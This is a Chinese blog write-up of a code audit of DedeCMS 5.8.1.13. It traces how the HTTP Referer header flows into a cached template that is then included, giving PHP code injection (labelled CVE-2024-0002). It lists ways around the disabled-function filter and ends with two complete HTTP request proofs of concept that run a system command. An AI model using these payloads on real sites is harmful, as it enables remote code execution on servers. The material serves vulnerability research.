当前位置: 首页 > news >正文

DedeCMS-Develop-5.8.1.13-referer命令注入研究分析 CVE-2024-0002

本次文章给大家带来代码审计漏洞挖掘的思路,从已知可控变量出发或从函数功能可能照成的隐患出发,追踪参数调用及过滤。最终完成代码的隐患漏洞利用过程。

代码审计挖掘思路

首先flink.php文件的代码执行逻辑,可以使用php的调试功能辅助审计

我们注意到参数dopost 为save 进入条件块中执行,查看相关调用函数,分析是否还有其他的取参处理的逻辑。

函数ShowMsg

我们注意到变量gourl取值http的referer头,据注释来看貌似是跳转的地址,那么我们首先会想到是CSRF或者SSRF,看看后面有没有过滤,或有其他的处理逻辑。

在后面的处理的逻辑中定义了 $htmlhead $htmlfoot变量。

那么我们有理由猜测之后的处理逻辑就是渲染输出。如果之中有参数可控,我们可以尝试插入js代码进行xss攻击,如果服务端进行了模板渲染,我们可以选择模板注入,表达式注入。甚至为后端的代码注入。

着重看一下可控参数$gourl 的处理方式

现在可以确认的是可控参数已经在变量&msg , 跟进loadstring函数查看处理逻辑

变量存入了DedeTemplate类中成员变量sourceString中。

右键查找调用者

GetResult函数将调用这个参数。GetResult() 的实现,目的是生成并返回一个处理后的字符串。一个有效的 PHP 代码段,通过使用正则表达式进行清理,确保返回的字符串没有冗余的标签。

继续分析GetResult函数的调用者,及调用者的处理逻辑。

GetResult函数的返回值经CheckDisabledFunctions函数过滤后写入了。

CheckDisabledFunctions 过滤了一些危险函数方法。我们也有理由相信我们的可控参数一定程序上是可以执行php代码的

可以继续分析WriteCache的调用者,也可以从程序处理后一步一步调,看看能不能函数能不能交汇

在之后的display中,发现有writeCache的调用,而且之后i使用文件包含include 生成的cacheFile文件(这点的逻辑可以在WriteCache函数中看)。

那么现在我们的思路就很明显了,

利用可控变量Referer完成 代码段的闭合!

function JumpUrl(){

  if(pgo==0){ location='$gourl'; pgo=1; }

}

默认是在jumpurl函数中,如果默认没调用JumpUrl 我们则可以尝试去闭合这个函数,然后代码执行,

还要考虑一件事情,不能被CheckDisabledFunctions函数检测到,

思路:

1.插入"来绕过 这个会干扰token_get_all_nl函数的提取  (复现方式1)
2.使用php中类似表达式的机制<?=calc?> (复现方式2)
3.结合PHP的流机制 命令执行绕过(跟包含文件相关)

漏洞复现

GET /plus/flink.php?dopost=save HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36

Referer: <?php "system"(calc);?>

Connection: close

Cache-Control: max-age=0z

GET /plus/flink.php?dopost=save HTTP/1.1

Host: 127.0.0.1

Accept-Encoding: gzip, deflate, br

Accept: */*

Accept-Language: en-US;q=0.9,en;q=0.8

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36

Referer: <?=`calc`?>

Connection: close

Cache-Control: max-age=0

http://www.xdnf.cn/news/395587.html

相关文章:

  • css背景相关
  • 【大模型】解决最新的Dify1.3.1版本 无法基于Ollama成功添加模型
  • 进程间关系与守护进程
  • Quantum convolutional nerual network
  • 责任链模式
  • 苍穹外卖(数据统计–Excel报表)
  • C语言常见的文件操作函数总结
  • 互联网大厂Java求职面试:电商商品推荐系统中的AI技术应用
  • 超标量处理器设计4-分支预测
  • TypeScript 装饰器高级用法详解
  • Kubernetes排错(十四):Pod状态异常排查手册
  • 深入理解 TypeScript 中 unknown 类型:安全性与使用指南
  • 深度学习:系统性学习策略(二)
  • OBS studio 减少音频中的杂音(噪音)
  • LLM初识
  • 【CTF】Linux Shell RCE绕过(bypass)技术总结
  • 【Tools】VScode远程调试linux服务器(打断点可视化界面方式)
  • 【文本数据找重复记录】2021-11-23
  • C++编程中,什么是野指针?
  • SpringBoot3.0 分组校验
  • jsAPI
  • Docker 部署Nexus仓库 搭建Maven私服仓库 公司内部仓库
  • BI PaaS化实践:衡石如何通过可插拔数仓加速企业数据湖仓一体?
  • UNet网络 图像分割模型学习
  • 用户线程和守护线程
  • 机器学习极简入门:从基础概念到行业应用
  • 视频编码原理讲解一:VCL层和NAL层的讲解
  • 微服务架构-注册中心、配置中心:nacos入门
  • IPLOOK超轻量核心网,助力5G专网和MEC边缘快速落地
  • macOS 15 (Sequoia) 解除Gatekeeper限制